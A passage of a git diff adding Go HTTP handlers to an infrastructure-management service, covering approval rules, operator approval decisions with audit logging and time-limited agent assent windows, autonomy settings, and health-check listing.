}
|
||||||
})
|
})
|
||||||
|
|
||||||
|
// Regression: rel_type is an optional array param (*[]string); when
|
||||||
|
// omitted entirely (not an empty list), passing the nil pointer straight
|
||||||
|
// through to pgx as a query arg panics because pgx can't infer the array
|
||||||
|
// element type from a nil *[]string. root+depth alone must still work.
|
||||||
|
t.Run("graph without rel_type", func(t *testing.T) {
|
||||||
|
rec, body := get(t, h, "/api/v1/graph?root=host:hubris&depth=1", nil)
|
||||||
|
if rec.Code != 200 {
|
||||||
|
t.Fatalf("status %d", rec.Code)
|
||||||
|
}
|
||||||
|
if len(body["nodes"].([]any)) < 2 {
|
||||||
|
t.Errorf("graph too small: %d nodes", len(body["nodes"].([]any)))
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
t.Run("ontology", func(t *testing.T) {
|
t.Run("ontology", func(t *testing.T) {
|
||||||
rec, body := get(t, h, "/api/v1/ontology", nil)
|
rec, body := get(t, h, "/api/v1/ontology", nil)
|
||||||
if rec.Code != 200 {
|
if rec.Code != 200 {
|
||||||
|
|||||||
160
internal/httpapi/approval_rules.go
Normal file
160
internal/httpapi/approval_rules.go
Normal file
@@ -0,0 +1,160 @@
|
|||||||
|
package httpapi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||||
|
"github.com/dtoro/oikos/internal/domain"
|
||||||
|
"github.com/dtoro/oikos/internal/httpapi/gen"
|
||||||
|
"github.com/dtoro/oikos/internal/observability"
|
||||||
|
"github.com/google/uuid"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ─── Approval Rules (Policy) ───────────────────────────────────────────
|
||||||
|
|
||||||
|
func (s *Server) ListApprovalRules(ctx context.Context, req gen.ListApprovalRulesRequestObject) (gen.ListApprovalRulesResponseObject, error) {
|
||||||
|
rows, err := s.pool.Query(ctx, `
|
||||||
|
SELECT id, entity_type, action, risk_class, autonomy_level,
|
||||||
|
COALESCE((SELECT slug FROM entities WHERE id = scope_entity), ''),
|
||||||
|
version, updated_at
|
||||||
|
FROM approval_rules ORDER BY entity_type, action`)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
items := []gen.ApprovalRule{}
|
||||||
|
for rows.Next() {
|
||||||
|
var rule gen.ApprovalRule
|
||||||
|
var scopeSlug string
|
||||||
|
if err := rows.Scan(&rule.Id, &rule.EntityType, &rule.Action,
|
||||||
|
&rule.RiskClass, &rule.AutonomyLevel, &scopeSlug,
|
||||||
|
&rule.Version); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if scopeSlug != "" {
|
||||||
|
rule.ScopeEntity = &scopeSlug
|
||||||
|
}
|
||||||
|
items = append(items, rule)
|
||||||
|
}
|
||||||
|
if rows.Err() != nil {
|
||||||
|
return nil, rows.Err()
|
||||||
|
}
|
||||||
|
if items == nil {
|
||||||
|
items = []gen.ApprovalRule{}
|
||||||
|
}
|
||||||
|
return gen.ListApprovalRules200JSONResponse{Items: items}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) CreateApprovalRule(ctx context.Context, req gen.CreateApprovalRuleRequestObject) (gen.CreateApprovalRuleResponseObject, error) {
|
||||||
|
if req.Body == nil {
|
||||||
|
return nil, fmt.Errorf("%w: request body is required", domain.ErrInvalidInput)
|
||||||
|
}
|
||||||
|
|
||||||
|
id, err := uuid.NewV7()
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
var scopeEntity *uuid.UUID
|
||||||
|
if req.Body.ScopeEntity != nil && *req.Body.ScopeEntity != "" {
|
||||||
|
se, rerr := s.resolveEntityID(ctx, *req.Body.ScopeEntity)
|
||||||
|
if rerr != nil {
|
||||||
|
return nil, rerr
|
||||||
|
}
|
||||||
|
scopeEntity = &se
|
||||||
|
}
|
||||||
|
|
||||||
|
tx, err := s.pool.Begin(ctx)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer tx.Rollback(ctx)
|
||||||
|
|
||||||
|
_, err = tx.Exec(ctx, `
|
||||||
|
INSERT INTO approval_rules (id, entity_type, action, risk_class, autonomy_level, scope_entity)
|
||||||
|
VALUES ($1, $2, $3, $4, $5, $6)`,
|
||||||
|
id, req.Body.EntityType, req.Body.Action, req.Body.RiskClass,
|
||||||
|
string(req.Body.AutonomyLevel), scopeEntity)
|
||||||
|
if err != nil {
|
||||||
|
if strings.Contains(err.Error(), "unique") || strings.Contains(err.Error(), "duplicate") {
|
||||||
|
return nil, fmt.Errorf("%w: rule for %s/%s already exists", domain.ErrAlreadyExists,
|
||||||
|
coalesceStr(req.Body.EntityType, "*"), req.Body.Action)
|
||||||
|
}
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
actorType, actor := actorInfo(ctx)
|
||||||
|
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "create",
|
||||||
|
&id, "POST", "/api/v1/policy/approval-rules", "",
|
||||||
|
map[string]any{"action": req.Body.Action, "risk_class": req.Body.RiskClass}); auditErr != nil {
|
||||||
|
return nil, auditErr
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := tx.Commit(ctx); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// Return 202 pending approval (dual-control).
|
||||||
|
return gen.CreateApprovalRule202JSONResponse{}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) PatchApprovalRule(ctx context.Context, req gen.PatchApprovalRuleRequestObject) (gen.PatchApprovalRuleResponseObject, error) {
|
||||||
|
if req.Body == nil {
|
||||||
|
return nil, fmt.Errorf("%w: request body is required", domain.ErrInvalidInput)
|
||||||
|
}
|
||||||
|
|
||||||
|
id, err := s.resolveEntityID(ctx, req.Id)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
var scopeEntity *uuid.UUID
|
||||||
|
if req.Body.ScopeEntity != nil && *req.Body.ScopeEntity != "" {
|
||||||
|
se, rerr := s.resolveEntityID(ctx, *req.Body.ScopeEntity)
|
||||||
|
if rerr != nil {
|
||||||
|
return nil, rerr
|
||||||
|
}
|
||||||
|
scopeEntity = &se
|
||||||
|
}
|
||||||
|
|
||||||
|
tx, err := s.pool.Begin(ctx)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer tx.Rollback(ctx)
|
||||||
|
|
||||||
|
result, err := tx.Exec(ctx, `
|
||||||
|
UPDATE approval_rules
|
||||||
|
SET entity_type = COALESCE($2, entity_type),
|
||||||
|
action = COALESCE($3, action),
|
||||||
|
risk_class = COALESCE($4, risk_class),
|
||||||
|
autonomy_level = COALESCE($5, autonomy_level),
|
||||||
|
scope_entity = COALESCE($6, scope_entity),
|
||||||
|
version = version + 1,
|
||||||
|
updated_at = now()
|
||||||
|
WHERE id = $1`,
|
||||||
|
id, req.Body.EntityType, req.Body.Action, req.Body.RiskClass,
|
||||||
|
string(req.Body.AutonomyLevel), scopeEntity)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if result.RowsAffected() == 0 {
|
||||||
|
return nil, fmt.Errorf("%w: approval rule %s", domain.ErrNotFound, req.Id)
|
||||||
|
}
|
||||||
|
|
||||||
|
actorType, actor := actorInfo(ctx)
|
||||||
|
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "patch",
|
||||||
|
&id, "PATCH", "/api/v1/policy/approval-rules/"+req.Id, "",
|
||||||
|
map[string]any{"action": req.Body.Action}); auditErr != nil {
|
||||||
|
return nil, auditErr
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := tx.Commit(ctx); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return gen.PatchApprovalRule202JSONResponse{}, nil
|
||||||
|
}
|
||||||
286
internal/httpapi/approvals.go
Normal file
286
internal/httpapi/approvals.go
Normal file
@@ -0,0 +1,286 @@
|
|||||||
|
package httpapi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"log/slog"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||||
|
"github.com/dtoro/oikos/internal/domain"
|
||||||
|
"github.com/dtoro/oikos/internal/httpapi/gen"
|
||||||
|
"github.com/dtoro/oikos/internal/observability"
|
||||||
|
"github.com/dtoro/oikos/internal/safego"
|
||||||
|
"github.com/google/uuid"
|
||||||
|
"github.com/jackc/pgx/v5"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ─── Approvals ─────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func (s *Server) ListApprovals(ctx context.Context, req gen.ListApprovalsRequestObject) (gen.ListApprovalsResponseObject, error) {
|
||||||
|
limit := clampLimit(req.Params.Limit)
|
||||||
|
var status *string
|
||||||
|
if req.Params.Status != nil {
|
||||||
|
s := string(*req.Params.Status)
|
||||||
|
status = &s
|
||||||
|
}
|
||||||
|
var kind *string
|
||||||
|
if req.Params.Kind != nil {
|
||||||
|
k := string(*req.Params.Kind)
|
||||||
|
kind = &k
|
||||||
|
}
|
||||||
|
rows, err := s.pool.Query(ctx, `
|
||||||
|
SELECT a.entity_id, a.action, a.risk_class, a.kind, a.payload,
|
||||||
|
a.status, a.expires_at, a.decided_at, a.decided_by::text,
|
||||||
|
a.created_at, e.slug
|
||||||
|
FROM approvals a
|
||||||
|
JOIN entities e ON e.id = COALESCE(a.subject_entity_id, a.entity_id)
|
||||||
|
WHERE ($1::text IS NULL OR a.status = $1)
|
||||||
|
AND ($2::text IS NULL OR a.kind = $2)
|
||||||
|
AND ($3::text IS NULL OR e.slug > $3)
|
||||||
|
ORDER BY e.slug
|
||||||
|
LIMIT $4`,
|
||||||
|
status, kind, req.Params.Cursor, limit+1)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
items := []gen.Approval{}
|
||||||
|
for rows.Next() {
|
||||||
|
var a gen.Approval
|
||||||
|
var payloadBytes []byte
|
||||||
|
var decidedBy *string
|
||||||
|
if err := rows.Scan(&a.Id, &a.Action, &a.RiskClass, &a.Kind, &payloadBytes,
|
||||||
|
&a.Status, &a.ExpiresAt, &a.DecidedAt, &decidedBy,
|
||||||
|
&a.CreatedAt, &a.Slug); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
a.DecidedBy = decidedBy
|
||||||
|
var payload map[string]any
|
||||||
|
if len(payloadBytes) > 0 && json.Unmarshal(payloadBytes, &payload) == nil {
|
||||||
|
a.Payload = &payload
|
||||||
|
}
|
||||||
|
items = append(items, a)
|
||||||
|
}
|
||||||
|
if rows.Err() != nil {
|
||||||
|
return nil, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
var next *string
|
||||||
|
if len(items) > limit {
|
||||||
|
items = items[:limit]
|
||||||
|
next = &items[len(items)-1].Slug
|
||||||
|
}
|
||||||
|
if items == nil {
|
||||||
|
items = []gen.Approval{}
|
||||||
|
}
|
||||||
|
return gen.ListApprovals200JSONResponse{Items: items, NextCursor: next}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) DecideApproval(ctx context.Context, req gen.DecideApprovalRequestObject) (gen.DecideApprovalResponseObject, error) {
|
||||||
|
if req.Body == nil {
|
||||||
|
return nil, fmt.Errorf("%w: request body is required", domain.ErrInvalidInput)
|
||||||
|
}
|
||||||
|
|
||||||
|
id, err := s.resolveEntityID(ctx, req.Id)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
actorType, actor := actorInfo(ctx)
|
||||||
|
|
||||||
|
tx, err := s.pool.Begin(ctx)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer tx.Rollback(ctx)
|
||||||
|
|
||||||
|
q := sqlcgen.New(tx)
|
||||||
|
|
||||||
|
// Verify HMAC token if provided (single-use, S5).
|
||||||
|
if req.Body.Token != nil && *req.Body.Token != "" {
|
||||||
|
var tokenHash *string
|
||||||
|
var apprStatus string
|
||||||
|
var expiresAt time.Time
|
||||||
|
err := tx.QueryRow(ctx,
|
||||||
|
"SELECT token_hash, status, expires_at FROM approvals WHERE entity_id = $1",
|
||||||
|
id).Scan(&tokenHash, &apprStatus, &expiresAt)
|
||||||
|
if err != nil || tokenHash == nil {
|
||||||
|
return nil, fmt.Errorf("%w: approval not found", domain.ErrNotFound)
|
||||||
|
}
|
||||||
|
if apprStatus != "pending" {
|
||||||
|
return nil, fmt.Errorf("%w: approval already decided", domain.ErrInvalidTransition)
|
||||||
|
}
|
||||||
|
if expiresAt.Before(time.Now()) {
|
||||||
|
return nil, fmt.Errorf("%w: approval token expired", domain.ErrInvalidTransition)
|
||||||
|
}
|
||||||
|
if *tokenHash != hashToken(*req.Body.Token) {
|
||||||
|
return nil, fmt.Errorf("%w: invalid approval token", domain.ErrInvalidInput)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Map decision to status.
|
||||||
|
var status string
|
||||||
|
switch req.Body.Decision {
|
||||||
|
case gen.Approve:
|
||||||
|
status = "approved"
|
||||||
|
case gen.Deny:
|
||||||
|
status = "denied"
|
||||||
|
case gen.Revoke:
|
||||||
|
status = "revoked"
|
||||||
|
default:
|
||||||
|
return nil, fmt.Errorf("%w: invalid decision %q", domain.ErrInvalidInput, req.Body.Decision)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := q.UpdateApprovalStatus(ctx, sqlcgen.UpdateApprovalStatusParams{
|
||||||
|
EntityID: id,
|
||||||
|
Status: status,
|
||||||
|
}); err != nil {
|
||||||
|
if err == pgx.ErrNoRows {
|
||||||
|
return nil, fmt.Errorf("%w: approval %s not found or already decided", domain.ErrNotFound, req.Id)
|
||||||
|
}
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// Re-read approval.
|
||||||
|
app, err := q.GetApprovalByID(ctx, id)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
approval := approvalToGen(app)
|
||||||
|
|
||||||
|
if auditErr := observability.Audit(ctx, q, actorType, actor, "decide",
|
||||||
|
&id, "POST", "/api/v1/approvals/"+req.Id+"/decision", "",
|
||||||
|
map[string]any{"decision": status}); auditErr != nil {
|
||||||
|
return nil, auditErr
|
||||||
|
}
|
||||||
|
|
||||||
|
// Emit for SSE fan-out (in-tx; NOTIFY fires post-commit).
|
||||||
|
if evErr := observability.Event(ctx, q, "approval.decided", &id, "info", "api", "",
|
||||||
|
map[string]any{"decision": status, "actor": actor}); evErr != nil {
|
||||||
|
return nil, evErr
|
||||||
|
}
|
||||||
|
|
||||||
|
// On approve: execute the linked gated command.
|
||||||
|
if status == "approved" {
|
||||||
|
var execID, targetID uuid.UUID
|
||||||
|
var actionStr, targetSlug, riskClass string
|
||||||
|
err := tx.QueryRow(ctx, `
|
||||||
|
SELECT e.entity_id, e.target_entity_id, e.action, e.risk_class
|
||||||
|
FROM executions e
|
||||||
|
WHERE e.approval_id = $1 AND e.status = 'pending_approval'
|
||||||
|
LIMIT 1`, id).Scan(&execID, &targetID, &actionStr, &riskClass)
|
||||||
|
if err == nil {
|
||||||
|
// Resolve target entity slug from targetID.
|
||||||
|
_ = tx.QueryRow(ctx, "SELECT slug FROM entities WHERE id = $1", targetID).Scan(&targetSlug)
|
||||||
|
|
||||||
|
safego.Go("httpapi:executeApprovedAction", func() {
|
||||||
|
executeApprovedAction(context.Background(), s.pool, execID, targetSlug, actionStr)
|
||||||
|
})
|
||||||
|
// Status only — risk_class was set correctly at request time
|
||||||
|
// (e.g. by policy.ClassifyCommand for `run`); overwriting it to
|
||||||
|
// a hardcoded 'config_mutation' here corrupted the audit ledger
|
||||||
|
// for every other risk class, including destructive.
|
||||||
|
_, _ = tx.Exec(ctx, `UPDATE executions SET status = 'approved' WHERE entity_id = $1`, execID)
|
||||||
|
|
||||||
|
// Approving a plan step — by ANY route (this endpoint backs both
|
||||||
|
// the chat Approve button and chat-assent) — opens/extends the
|
||||||
|
// agent's assent window. This is the scope gate the Nomos
|
||||||
|
// auto-continuation worker checks: with the window open, the
|
||||||
|
// finished execution's result is fed back to the agent so it runs
|
||||||
|
// the plan to completion. Without opening it here, approving via
|
||||||
|
// the button (instead of typing "go ahead") would silently not
|
||||||
|
// auto-continue.
|
||||||
|
var agentID *uuid.UUID
|
||||||
|
if qerr := tx.QueryRow(ctx, "SELECT agent_id FROM executions WHERE entity_id = $1", execID).Scan(&agentID); qerr == nil && agentID != nil {
|
||||||
|
expires := time.Now().Add(30 * time.Minute).UTC().Format(time.RFC3339)
|
||||||
|
_, _ = tx.Exec(ctx, `INSERT INTO autonomy_settings (key, value) VALUES ($1, $2)
|
||||||
|
ON CONFLICT (key) DO UPDATE SET value = $2`, "assent_window.agent:"+agentID.String(), expires)
|
||||||
|
|
||||||
|
// Approving a DESTRUCTIVE step via the button is exactly as
|
||||||
|
// explicit as a typed "I confirm" — the operator affirmatively
|
||||||
|
// clicked Approve on a card that said DESTRUCTIVE. Open the
|
||||||
|
// same short, target-scoped destructive window chat-assent's
|
||||||
|
// typed-confirm path opens, for parity: a multi-step
|
||||||
|
// destructive recovery (stop, then destroy) shouldn't need a
|
||||||
|
// fresh confirmation per click any more than it needs one per
|
||||||
|
// typed phrase.
|
||||||
|
if riskClass == "destructive" && targetSlug != "" {
|
||||||
|
dExpires := time.Now().Add(15 * time.Minute).UTC().Format(time.RFC3339)
|
||||||
|
_, _ = tx.Exec(ctx, `INSERT INTO autonomy_settings (key, value) VALUES ($1, $2)
|
||||||
|
ON CONFLICT (key) DO UPDATE SET value = $2`,
|
||||||
|
"destructive_window.agent:"+agentID.String()+".target:"+targetSlug, dExpires)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
slog.Info("httpapi: approved execution queued",
|
||||||
|
"execution_id", execID, "target", targetSlug, "action", actionStr)
|
||||||
|
} else {
|
||||||
|
slog.Warn("httpapi: no pending execution found for approval", "approval_id", id, "error", err)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// Denied/revoked: reflect it on the linked execution too. Previously
|
||||||
|
// only the approvals row changed, so the execution stayed
|
||||||
|
// 'pending_approval' forever — any UI/poller reading execution
|
||||||
|
// status (not approval status) never saw the decision.
|
||||||
|
_, _ = tx.Exec(ctx, `UPDATE executions SET status = $2, completed_at = now() WHERE approval_id = $1 AND status = 'pending_approval'`, id, status)
|
||||||
|
}
|
||||||
|
|
||||||
|
// If this execution belongs to a nomos session, flip it out of
|
||||||
|
// awaiting_input — the counterpart to classifyAndGate flipping it IN
|
||||||
|
// the moment the approval was created (internal/mcp/server.go's
|
||||||
|
// markSessionAwaitingApproval). Runs for all three decisions (approve/
|
||||||
|
// deny/revoke): each one is an operator answer to "what do I do about
|
||||||
|
// this?", same as answerQuestion's unconditional resume-to-executing
|
||||||
|
// (cmd/nomos/store.go) for a session_questions answer.
|
||||||
|
var awaitingSessionID string
|
||||||
|
_ = tx.QueryRow(ctx, `
|
||||||
|
SELECT pe.session_id FROM nomos_plan_executions pe
|
||||||
|
JOIN executions ex ON ex.entity_id = pe.execution_id
|
||||||
|
WHERE ex.approval_id = $1
|
||||||
|
LIMIT 1`, id).Scan(&awaitingSessionID)
|
||||||
|
if awaitingSessionID != "" {
|
||||||
|
if rtag, rerr := tx.Exec(ctx, `
|
||||||
|
UPDATE agent_sessions SET status = 'executing', last_active_at = now()
|
||||||
|
WHERE id = $1 AND status = 'awaiting_input'`, awaitingSessionID); rerr == nil && rtag.RowsAffected() > 0 {
|
||||||
|
var taskEntID *uuid.UUID
|
||||||
|
var e uuid.UUID
|
||||||
|
if qerr := tx.QueryRow(ctx, `SELECT entity_id FROM agent_sessions WHERE id = $1`, awaitingSessionID).Scan(&e); qerr == nil && e != uuid.Nil {
|
||||||
|
taskEntID = &e
|
||||||
|
}
|
||||||
|
_ = observability.Event(ctx, q, "task.status", taskEntID, "info", "api", awaitingSessionID,
|
||||||
|
map[string]any{"status": "executing", "reason": "approval_decided", "decision": status})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := tx.Commit(ctx); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return gen.DecideApproval200JSONResponse(approval), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func approvalToGen(a sqlcgen.Approval) gen.Approval {
|
||||||
|
app := gen.Approval{
|
||||||
|
Id: a.EntityID,
|
||||||
|
Action: a.Action,
|
||||||
|
RiskClass: a.RiskClass,
|
||||||
|
Kind: gen.ApprovalKind(a.Kind),
|
||||||
|
Status: gen.ApprovalStatus(a.Status),
|
||||||
|
ExpiresAt: a.ExpiresAt,
|
||||||
|
DecidedAt: a.DecidedAt,
|
||||||
|
CreatedAt: a.CreatedAt,
|
||||||
|
}
|
||||||
|
if a.DecidedBy != nil {
|
||||||
|
s := a.DecidedBy.String()
|
||||||
|
app.DecidedBy = &s
|
||||||
|
}
|
||||||
|
var payload map[string]any
|
||||||
|
if len(a.Payload) > 0 && json.Unmarshal(a.Payload, &payload) == nil && len(payload) > 0 {
|
||||||
|
app.Payload = &payload
|
||||||
|
}
|
||||||
|
return app
|
||||||
|
}
|
||||||
102
internal/httpapi/autonomy.go
Normal file
102
internal/httpapi/autonomy.go
Normal file
@@ -0,0 +1,102 @@
|
|||||||
|
package httpapi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||||
|
"github.com/dtoro/oikos/internal/domain"
|
||||||
|
"github.com/dtoro/oikos/internal/httpapi/gen"
|
||||||
|
"github.com/dtoro/oikos/internal/observability"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ─── Autonomy Settings ─────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func (s *Server) GetAutonomySettings(ctx context.Context, req gen.GetAutonomySettingsRequestObject) (gen.GetAutonomySettingsResponseObject, error) {
|
||||||
|
rows, err := s.pool.Query(ctx, `SELECT key, value, version, updated_at FROM autonomy_settings ORDER BY key`)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
items := []gen.AutonomySetting{}
|
||||||
|
for rows.Next() {
|
||||||
|
var as gen.AutonomySetting
|
||||||
|
if err := rows.Scan(&as.Key, &as.Value, &as.Version, &as.UpdatedAt); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
items = append(items, as)
|
||||||
|
}
|
||||||
|
if rows.Err() != nil {
|
||||||
|
return nil, rows.Err()
|
||||||
|
}
|
||||||
|
if items == nil {
|
||||||
|
items = []gen.AutonomySetting{}
|
||||||
|
}
|
||||||
|
return gen.GetAutonomySettings200JSONResponse{Items: items}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) PatchAutonomySettings(ctx context.Context, req gen.PatchAutonomySettingsRequestObject) (gen.PatchAutonomySettingsResponseObject, error) {
|
||||||
|
if req.Body == nil {
|
||||||
|
return nil, fmt.Errorf("%w: request body is required", domain.ErrInvalidInput)
|
||||||
|
}
|
||||||
|
|
||||||
|
tx, err := s.pool.Begin(ctx)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer tx.Rollback(ctx)
|
||||||
|
|
||||||
|
for key, value := range *req.Body {
|
||||||
|
_, err := tx.Exec(ctx, `
|
||||||
|
INSERT INTO autonomy_settings (key, value, version, updated_at)
|
||||||
|
VALUES ($1, $2, 1, now())
|
||||||
|
ON CONFLICT (key)
|
||||||
|
DO UPDATE SET value = EXCLUDED.value, version = autonomy_settings.version + 1, updated_at = now()`,
|
||||||
|
key, value)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Re-read all settings.
|
||||||
|
rows, err := tx.Query(ctx, `SELECT key, value, version, updated_at FROM autonomy_settings ORDER BY key`)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
items := []gen.AutonomySetting{}
|
||||||
|
for rows.Next() {
|
||||||
|
var as gen.AutonomySetting
|
||||||
|
if err := rows.Scan(&as.Key, &as.Value, &as.Version, &as.UpdatedAt); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
items = append(items, as)
|
||||||
|
}
|
||||||
|
if rows.Err() != nil {
|
||||||
|
return nil, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
actorType, actor := actorInfo(ctx)
|
||||||
|
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "patch",
|
||||||
|
nil, "PATCH", "/api/v1/policy/autonomy", "",
|
||||||
|
map[string]any{"keys": keysOfMap(*req.Body)}); auditErr != nil {
|
||||||
|
return nil, auditErr
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := tx.Commit(ctx); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return gen.PatchAutonomySettings200JSONResponse{Items: items}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// keysOfMap returns the keys of a map[string]string.
|
||||||
|
func keysOfMap(m map[string]string) []string {
|
||||||
|
keys := make([]string, 0, len(m))
|
||||||
|
for k := range m {
|
||||||
|
keys = append(keys, k)
|
||||||
|
}
|
||||||
|
return keys
|
||||||
|
}
|
||||||
304
internal/httpapi/checks.go
Normal file
304
internal/httpapi/checks.go
Normal file
@@ -0,0 +1,304 @@
|
|||||||
|
package httpapi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||||
|
"github.com/dtoro/oikos/internal/domain"
|
||||||
|
"github.com/dtoro/oikos/internal/httpapi/gen"
|
||||||
|
"github.com/dtoro/oikos/internal/observability"
|
||||||
|
"github.com/google/uuid"
|
||||||
|
"github.com/jackc/pgx/v5"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ─── Checks ────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func (s *Server) ListChecks(ctx context.Context, req gen.ListChecksRequestObject) (gen.ListChecksResponseObject, error) {
|
||||||
|
limit := clampLimit(req.Params.Limit)
|
||||||
|
rows, err := s.pool.Query(ctx, `
|
||||||
|
SELECT cd.entity_id, e.slug, cd.kind,
|
||||||
|
COALESCE(te.slug, '') AS target_slug, cd.target_type,
|
||||||
|
cd.config, cd.interval_s, cd.timeout_s, cd.zone, cd.enabled,
|
||||||
|
e.version
|
||||||
|
FROM check_defs cd
|
||||||
|
JOIN entities e ON e.id = cd.entity_id
|
||||||
|
LEFT JOIN entities te ON te.id = cd.target_id
|
||||||
|
WHERE ($1::text IS NULL OR cd.kind = $1)
|
||||||
|
AND ($2::text IS NULL OR te.slug = $2)
|
||||||
|
AND ($3::bool IS NULL OR cd.enabled = $3)
|
||||||
|
AND ($4::text IS NULL OR e.slug > $4)
|
||||||
|
ORDER BY e.slug
|
||||||
|
LIMIT $5`,
|
||||||
|
req.Params.Kind, req.Params.Target, req.Params.Enabled, req.Params.Cursor, limit+1)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
items := []gen.Check{}
|
||||||
|
for rows.Next() {
|
||||||
|
var c gen.Check
|
||||||
|
var targetSlug string
|
||||||
|
var configBytes []byte
|
||||||
|
if err := rows.Scan(&c.Id, &c.Slug, &c.Kind, &targetSlug, &c.TargetType,
|
||||||
|
&configBytes, &c.IntervalS, &c.TimeoutS, &c.Zone, &c.Enabled, &c.Version); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if targetSlug != "" {
|
||||||
|
c.Target = &targetSlug
|
||||||
|
}
|
||||||
|
var config map[string]any
|
||||||
|
if len(configBytes) > 0 && json.Unmarshal(configBytes, &config) == nil && len(config) > 0 {
|
||||||
|
c.Config = &config
|
||||||
|
}
|
||||||
|
items = append(items, c)
|
||||||
|
}
|
||||||
|
if rows.Err() != nil {
|
||||||
|
return nil, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
var next *string
|
||||||
|
if len(items) > limit {
|
||||||
|
items = items[:limit]
|
||||||
|
next = &items[len(items)-1].Slug
|
||||||
|
}
|
||||||
|
if items == nil {
|
||||||
|
items = []gen.Check{}
|
||||||
|
}
|
||||||
|
return gen.ListChecks200JSONResponse{Items: items, NextCursor: next}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) CreateCheck(ctx context.Context, req gen.CreateCheckRequestObject) (gen.CreateCheckResponseObject, error) {
|
||||||
|
if req.Body == nil {
|
||||||
|
return nil, fmt.Errorf("%w: request body is required", domain.ErrInvalidInput)
|
||||||
|
}
|
||||||
|
|
||||||
|
id, err := uuid.NewV7()
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
slug := req.Body.Slug
|
||||||
|
if slug == "" {
|
||||||
|
